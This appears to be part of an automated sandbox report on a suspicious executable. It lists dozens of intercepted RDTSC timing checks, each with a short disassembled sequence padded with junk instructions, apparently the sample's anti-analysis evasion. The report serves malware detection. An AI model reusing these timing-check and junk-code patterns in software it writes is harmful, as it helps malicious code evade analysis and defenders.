Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C75F second address: C6C765 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C765 second address: C6C76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C818C6 second address: C818D9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F345319E6h 0x00000008 jns 00007F0F345319E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86161 second address: C86177 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0F34BEC146h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F0F34BEC146h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C862C9 second address: C862E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0F345319ECh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8C856 second address: C8C85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C947EF second address: C94818 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0F345319EEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F0F345319FDh 0x00000010 jmp 00007F0F345319EDh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C946A3 second address: C946A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D9FF second address: C9DA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DA03 second address: C9DA29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC152h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F0F34BEC148h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DD69 second address: C9DD6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DD6D second address: C9DD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DD73 second address: C9DDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0F345319F6h 0x0000000f jmp 00007F0F345319F5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DDA8 second address: C9DDD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC150h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F0F34BEC14Ch 0x00000011 ja 00007F0F34BEC146h 0x00000017 js 00007F0F34BEC152h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DF04 second address: C9DF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0AC second address: C9E0B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0B1 second address: C9E0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F0F345319E6h 0x00000010 jmp 00007F0F345319EEh 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jo 00007F0F345319FCh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0DB second address: C9E0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnc 00007F0F34BEC146h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EB45 second address: C9EB62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EB62 second address: C9EB6C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F34BEC146h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1649 second address: CA1666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0F345319F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1666 second address: CA166A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA166A second address: CA166E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA166E second address: CA168D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC159h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3E5B second address: CA3E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1036 second address: CB1046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC14Ah 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1046 second address: CB104A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB104A second address: CB106C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0F34BEC173h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F34BEC152h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD96A second address: CBD96E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFBDC second address: CBFBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6FC1 second address: BB6FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6FCD second address: BB6FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3C3A second address: CC3C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC576C second address: CC57CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F34BEC146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0F34BEC14Dh 0x00000010 jp 00007F0F34BEC146h 0x00000016 jmp 00007F0F34BEC155h 0x0000001b popad 0x0000001c push ebx 0x0000001d jmp 00007F0F34BEC152h 0x00000022 pop ebx 0x00000023 popad 0x00000024 pushad 0x00000025 jnc 00007F0F34BEC152h 0x0000002b push eax 0x0000002c push edx 0x0000002d push edx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0F81 second address: BC0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319EBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD5D5 second address: CDD5D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD5D9 second address: CDD5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F0F345319E6h 0x0000000f je 00007F0F345319E6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDB6F second address: CDDB77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDB77 second address: CDDB7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDF8D second address: CDDF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDF91 second address: CDDFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0F345319E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d je 00007F0F345319E6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDFA7 second address: CDDFD5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F34BEC14Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jmp 00007F0F34BEC156h 0x00000011 pop edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDFD5 second address: CDDFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE265 second address: CDE270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE3B9 second address: CDE3D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jns 00007F0F345319E6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F0F345319E8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE3D3 second address: CDE3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC14Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1024 second address: CE102B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE124D second address: CE1253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1371 second address: CE1375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1375 second address: CE13AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC151h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F0F34BEC155h 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE13AD second address: CE13B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1628 second address: CE162E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE162E second address: CE1673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jg 00007F0F34531A00h 0x0000000d nop 0x0000000e mov dl, 4Ah 0x00000010 push dword ptr [ebp+122D26C2h] 0x00000016 sbb edx, 4D93AAF0h 0x0000001c call 00007F0F345319E9h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1673 second address: CE1679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1679 second address: CE1690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0F345319E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1690 second address: CE16A5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F34BEC148h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F7C second address: CE3F84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5ED2 second address: CE5ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70D67 second address: 4C70D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70D6B second address: 4C70D71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70D71 second address: 4C70DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F345319F2h 0x00000008 pop eax 0x00000009 movsx edx, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0F345319EFh 0x00000019 sub esi, 3316762Eh 0x0000001f jmp 00007F0F345319F9h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F0F345319F0h 0x0000002b xor ecx, 7C7773A8h 0x00000031 jmp 00007F0F345319EBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70DE5 second address: 4C70E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov di, 6516h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F0F34BEC155h 0x00000019 and ah, 00000076h 0x0000001c jmp 00007F0F34BEC151h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E23 second address: 4C70E54 instructions: 0x00000000 rdtsc 0x00000002 mov bl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F0F345319F3h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F345319F0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E54 second address: 4C70E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E5A second address: 4C70E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E60 second address: 4C70E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E64 second address: 4C70E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E68 second address: 4C70E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F34BEC14Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E7E second address: 4C70E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70E84 second address: 4C70E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CB3 second address: 4C60CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CC3 second address: 4C60CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CC7 second address: 4C60CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F0F345319ECh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B76 second address: 4CA0B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B7C second address: 4CA0B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B80 second address: 4CA0C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ax, 861Bh 0x00000011 mov si, 68F7h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F0F34BEC153h 0x0000001e adc si, BD7Eh 0x00000023 jmp 00007F0F34BEC159h 0x00000028 popfd 0x00000029 mov esi, 4043FBC7h 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 jmp 00007F0F34BEC14Ah 0x00000035 mov ebp, esp 0x00000037 jmp 00007F0F34BEC150h 0x0000003c pop ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F0F34BEC157h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C0E second address: 4CA0C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0C14 second address: 4CA0C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C400E7 second address: 4C40113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esp 0x00000007 jmp 00007F0F345319EAh 0x0000000c mov dword ptr [esp], ebp 0x0000000f jmp 00007F0F345319F0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40113 second address: 4C40119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40119 second address: 4C4011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4011F second address: 4C40123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40123 second address: 4C40143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 movzx eax, di 0x00000013 popad 0x00000014 push dword ptr [ebp+0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movzx esi, dx 0x0000001d mov ch, dh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60A0B second address: 4C60A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60567 second address: 4C6058F instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 4512E871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F0F345319ECh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F345319EEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6058F second address: 4C60595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60485 second address: 4C6048B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6048B second address: 4C6048F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6048F second address: 4C60493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60493 second address: 4C604CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F0F34BEC154h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F34BEC157h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604CC second address: 4C60507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0F345319F8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60507 second address: 4C6050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
